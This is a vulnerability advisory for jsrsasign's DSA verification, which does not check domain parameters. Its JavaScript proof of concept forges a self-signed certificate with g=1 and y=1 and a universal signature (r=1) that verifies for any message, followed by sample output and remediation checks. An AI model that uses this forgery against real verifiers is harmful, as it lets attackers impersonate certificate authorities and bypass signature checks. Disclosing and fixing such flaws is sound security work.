The DSA verification implementation in jsrsasign (all versions through 11.1.0) does not validate domain parameters. By setting generator g=1, an attacker can craft a single signature that passes X509.verifySignature() for any message hash.
CWE-347: Improper Verification of Cryptographic Signature
High
All versions through 11.1.0 (latest).
DSA verification computes v = (g^u1 · y^u2 mod p) mod q and checks v == r.
When g = 1 and y = 1:
g^u1 = 1for anyu1y^u2 = 1for anyu2v = (1 · 1 mod p) mod q = 1regardless of message hash
Setting r = 1 in the forged signature makes v == r always true. The value of s only needs to be invertible mod q.
Neither setPublicHex nor verifyWithMessageHash nor X509.verifySignature validates that g > 1, g^q ≡ 1 (mod p), or y ≠ 1.
Any application using jsrsasign to verify DSA signatures or X.509 certificates from untrusted sources is affected. Attack scenarios include:
- Forged self-signed or CA certificates accepted by
X509.verifySignature() - Protocols where the signer provides their own public key and domain parameters (e.g., JWS with embedded keys, federated identity, peer-provided certificates)
- Any "bring your own key" verification flow
A single forged signature (r=1, s=any invertible value) verifies for all messages under the malicious parameters. No brute force or collision is needed.
The following script constructs a malicious self-signed X.509 certificate with g=1 DSA parameters and demonstrates that jsrsasign accepts it. Small parameter values are used for clarity; the attack works identically with standard 1024/160-bit or 2048/256-bit parameters.
'use strict';
const fs = require('fs');
const path = require('path');
const vm = require('vm');
global.navigator = { appName: 'Netscape' };
global.window = global;
const jsrsasignPath = path.resolve(__dirname, '../../jsrsasign/jsrsasign-all-min.js');
const jsrsasignCode = fs.readFileSync(jsrsasignPath, 'utf8');
vm.runInThisContext(jsrsasignCode, { filename: 'jsrsasign-all-min.js' });
// Helper: build raw ASN.1 hex using jsrsasign's DER primitives
const DERSeq = (arr) => new KJUR.asn1.DERSequence({ array: arr });
const DERSet = (arr) => new KJUR.asn1.DERSet({ array: arr });
const DERInt = (v) => typeof v === 'string'
? new KJUR.asn1.DERInteger({ hex: v })
: new KJUR.asn1.DERInteger({ 'int': v });
const DEROid = (o) => new KJUR.asn1.DERObjectIdentifier({ oid: o });
const DERUtf8 = (s) => new KJUR.asn1.DERUTF8String({ str: s });
const DERBits = (hex) => new KJUR.asn1.DERBitString({ hex: '00' + hex });
const DERUtcT = (s) => new KJUR.asn1.DERUTCTime({ str: s });
const DERTag = (t, o) => new KJUR.asn1.DERTaggedObject({
tag: t, explicit: true, obj: o });
// 1. Malicious DSA domain parameters
const pHex = '17'; // p = 23
const qHex = '0b'; // q = 11
const gHex = '01'; // *** MALICIOUS: g = 1 ***
const yHex = '01'; // y = g^x mod p = 1 for any x
const OID_DSA = '1.2.840.10040.4.1';
const OID_DSA_WITH_SHA1 = '1.2.840.10040.4.3';
const OID_CN = '2.5.4.3';
// 2. Build SubjectPublicKeyInfo (DSA, g=1)
const dsaParams = DERSeq([DERInt(pHex), DERInt(qHex), DERInt(gHex)]);
const spki = DERSeq([
DERSeq([DEROid(OID_DSA), dsaParams]),
DERBits(DERInt(yHex).getEncodedHex())
]);
// 3. Build TBSCertificate
const rdnCN = (cn) => DERSeq([DERSet([DERSeq([DEROid(OID_CN), DERUtf8(cn)])])]);
const tbs = DERSeq([
DERTag('a0', DERInt(2)),
DERInt(1),
DERSeq([DEROid(OID_DSA_WITH_SHA1)]),
rdnCN('Malicious CA'),
DERSeq([DERUtcT('250101000000Z'), DERUtcT('351231235959Z')]),
rdnCN('Malicious CA'),
spki
]);
// 4. Forge DSA signature (r=1, s=7)
const forgedSig = DERSeq([DERInt(1), DERInt(7)]);
// 5. Assemble full X.509 Certificate
const certDER = DERSeq([
tbs,
DERSeq([DEROid(OID_DSA_WITH_SHA1)]),
DERBits(forgedSig.getEncodedHex())
]);
const certHex = certDER.getEncodedHex();
const certPEM = KJUR.asn1.ASN1Util.getPEMStringFromHex(certHex, 'CERTIFICATE');
// 6. Verify with X509 high-level API
console.log('=== Malicious self-signed certificate (g=1) ===');
console.log(certPEM);
const x509 = new X509();
x509.readCertPEM(certPEM);
console.log('Parsed subject:', x509.getSubjectString());
console.log('Parsed issuer:', x509.getIssuerString());
const pubKey = x509.getPublicKey();
const ok = x509.verifySignature(pubKey);
console.log('\nX509.verifySignature() =', ok);
if (ok) {
console.log('BUG: jsrsasign accepted forged self-signed cert with g=1');
}
// 7. Universality check: same forged sig vs different hashes
console.log('\n=== Universality check: same forged sig vs different hashes ===');
const dsa = new KJUR.crypto.DSA();
dsa.setPublicHex(pHex, qHex, gHex, yHex);
const testHashes = ['00', '01', 'ff', 'deadbeef',
'da39a3ee5e6b4b0d3255bfef95601890afd80709'];
for (const h of testHashes) {
const result = dsa.verifyWithMessageHash(h, forgedSig.getEncodedHex());
console.log(` hash=${h.substring(0,16).padEnd(16)} verify=${result}`);
}=== Malicious self-signed certificate (g=1) ===
-----BEGIN CERTIFICATE-----
MIGcMIGDoAMCAQICAQEwCQYHKoZIzjgEAzAXMRUwEwYDVQQDDAxNYWxpY2lvdXMg
Q0EwHhcNMjUwMTAxMDAwMDAwWhcNMzUxMjMxMjM1OTU5WjAXMRUwEwYDVQQDDAxN
YWxpY2lvdXMgQ0EwHDAUBgcqhkjOOAQBMAkCARcCAQsCAQEDBAACAQEwCQYHKoZI
zjgEAwMJADAGAgEBAgEH
-----END CERTIFICATE-----
Parsed subject : /CN=Malicious CA
Parsed issuer : /CN=Malicious CA
X509.verifySignature() = true
BUG: jsrsasign accepted forged self-signed cert with g=1
=== Universality check: same forged sig vs. different hashes ===
hash=00 verify=true
hash=01 verify=true
hash=ff verify=true
hash=deadbeef verify=true
hash=da39a3ee5e6b4b0d verify=true
CONFIRMED: one forged signature verifies for ALL messages
Validate domain parameters on public key import:
1 < g < pg^q ≡ 1 (mod p)1 < y < p
Reject keys that do not satisfy these constraints.
- FIPS 186-4 §4.7 (DSA Signature Verification)